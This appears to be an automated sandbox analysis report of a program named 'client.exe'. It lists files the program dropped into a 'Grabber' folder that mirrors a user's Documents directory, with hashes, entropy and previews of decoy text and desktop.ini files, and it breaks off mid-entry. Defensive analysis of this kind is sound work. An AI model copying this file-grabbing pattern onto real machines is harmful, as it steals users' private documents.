JORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB\GIGIYTFFYT.png

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Music\desktop.ini

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.5258560106596737
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qml3lDmo0qmZclLwr2FlDmo0IWUol94klrgl2FlDmo0qjKAZY:QCGwv4o0x34o02lLwiF4o0ZvbUsF4o0Z
MD5:	06E8F7E6DDD666DBD323F7D9210F91AE
SHA1:	883AE527EE83ED9346CD82C33DFC0EB97298DC14
SHA-256:	8301E344371B0753D547B429C5FE513908B1C9813144F08549563AC7F4D7DA68
SHA-512:	F7646F8DCD37019623D5540AD8E41CB285BCC04666391258DBF4C42873C4DE46977A4939B091404D8D86F367CC31E36338757A776A632C7B5BF1C6F28E59AD98
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.0.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.9.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.0.8.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.7.....

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\Camera Roll\desktop.ini

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl6nM:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOy
MD5:	D48FCE44E0F298E5DB52FD5894502727
SHA1:	FCE1E65756138A3CA4EAAF8F7642867205B44897
SHA-256:	231A08CABA1F9BA9F14BD3E46834288F3C351079FCEDDA15E391B724AC0C7EA8
SHA-512:	A1C0378DB4E6DAC9A8638586F6797BAD877769D76334B976779CD90324029D755FB466260EF27BD1E7F9FDF97696CD8CD1318377970A1B5BF340EFB12A4FEB4A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.2.1.8.2.4.....

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\Saved Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl3sY:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOO
MD5:	87A524A2F34307C674DBA10708585A5E
SHA1:	E0508C3F1496073B9F6F9ECB2FB01CB91F9E8201
SHA-256:	D01A7EF6233EF4AB3EA7210C0F2837931D334A20AE4D2A05ED03291E59E576C9
SHA-512:	7CFA6D47190075E1209FB081E36ED7E50E735C9682BFB482DBF5A36746ABDAD0DCCFDB8803EF5042E155E8C1F326770F3C8F7AA32CE66CF3B47CD13781884C38
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.3.4.5.8.3.....

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.514398793376306
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmalDmo0qmN4clLwr2FlDmo0IWFSklrgl2FlDmo0qjKA1:QCGwv4o0u4o0RhlLwiF4o0HUsF4o01A1
MD5:	29EAE335B77F438E05594D86A6CA22FF
SHA1:	D62CCC830C249DE6B6532381B4C16A5F17F95D89
SHA-256:	88856962CEF670C087EDA4E07D8F78465BEEABB6143B96BD90F884A80AF925B4
SHA-512:	5D2D05403B39675B9A751C8EED4F86BE58CB12431AFEC56946581CB116B9AE1014AB9334082740BE5B4DE4A25E190FE76DE071EF1B9074186781477919EB3C17
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.9.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.3.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.6.....

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Videos\desktop.ini

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.5218877566914193
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmclDmo0qmJclLwr2FlDmo0IWVvklrgl2FlDmo0qjKArn:QCGwv4o0o4o0mlLwiF4o090UsF4o01Ar
MD5:	50A956778107A4272AAE83C86ECE77CB
SHA1:	10BCE7EA45077C0BAAB055E0602EEF787DBA735E
SHA-256:	B287B639F6EDD612F414CAF000C12BA0555ADB3A2643230CBDD5AF4053284978
SHA-512:	D1DF6BDC871CACBC776AC8152A76E331D2F1D905A50D9D358C7BF9ED7C5CBB510C9D52D6958B071E5BCBA7C5117FC8F9729FE51724E82CC45F6B7B5AFE5ED51A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.1.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.9.0.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.9.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.8.....

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\NYMMPCEIMA.png

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6957997909429325
Encrypted:	false
SSDEEP:	24:kKnyV7BxweFQl79j+hRxUY//oWt/yeHEMcXJn25feaqrZZqW+LRJvy:kKnY7wGQlSxH/9kM0Jn25grZgRJa
MD5:	4F49714E789620AEDB7B9565DC949466
SHA1:	5917AC09E3D5074BFF8E1289865CAFF6403D1E82
SHA-256:	A9D5D3D8BE1D9E0187DA4AF85AFF3E2D1D6DE977D13EDA76900C96D98A8F073B
SHA-512:	61F147FA2B300AC2E3A42445F1283A47C805B756F36730CDCD4DB5A711BE43EFA471C7ECFB865908791852D1AAF365284BD4DE01F0EA0BF9DCD416A853C804E9
Malicious:	false
Preview:	NYMMPCEIMABCZIWJTJBTGSCCAGUWVTYLYWSVBSDZXQVJYUDCVLRURABBOBVCVDMKRKSRCSPXNAWPZJIOBULMRNUUOMOQGMWJLMZDBRBKAATADQPXHJFNCLPVAYDJHNDQMYWKBXYCBZJQANHQXCJPZQWORFXISYXSVTGTQJXNOUHRMKMJWJYCVNYAJFLKQVPGEYIUPPSZIHLNRGNCVNQBEZHDSJLAAKTOQOPFKISQUVSYIJUTXMPMVSFBVQNNFUXQRBBZWPVQFKOIAVQQMWQKLBSRPGKOQWZJAMBIDYJLYFILNAEEJCLRGBXDTSTBTNJDUXNFJBEZUDHSQUEENVIJUBNKGOLASBWAZBYYZZCOGWIJLRICWMFOAHSZVHCPRGDQXQUHZNZAIBOSXNAEYXAGWDBIHQGHOMKGZVYJDFBRWFKGJWGGPPTKNYWOHJZEIWRXWBERKQREQFMJHAKYHJCBTJJONCVMKTRJZVEWZOAKRUZLPQOXEQLKYATRQESEWRXETALDGKSHWFGQVXVYWPZEUDKTVGFGTXHQNKYUTVLNVAJFDYFPLRACHLYNSSVZZIAKKEEENZFLNPGNCVKMHGOYMQEBOXNMEXNXHUPMZAMZZQVDPFGLUSJHKGQWGKDPXMSIYPGNIXUXSJQFAXJLLSOUEANCWYAHDTOQTEKVGNOWSZINVNYZYIYNTVHHTDVGBTBPYPINRBPJYKHMRFCGSMCNFESVFMQIFPOJDAJGZEYTMLYQIIYRBVNEZSIWWOKGVIVGLXAQUNYDTWHGEWOLDMZRPSOAJKFXVJJTTIAJVLZGIFIWTHVZZGQOVGNSYXTJVFSXNDQLHICPBSAZIKIPLGSRTCKFEGRKNLTONCJFACYIGQPYUHVPNPUUGOOGHBAMCKOGYKVNNBSVPYVHZVJCMTDSHLBWEDMSWSFZAIRFDEYBDVHTWHABAXCAQCTXQRIUHVQFAEPMNYIWIBWVEEZTZGQTPDYRFAGKUGAEBSQFYYQG

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\PALRGUCVEH.jpg

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\desktop.ini

Download File

Process:	C:\Users\user\Desktop\client.exe
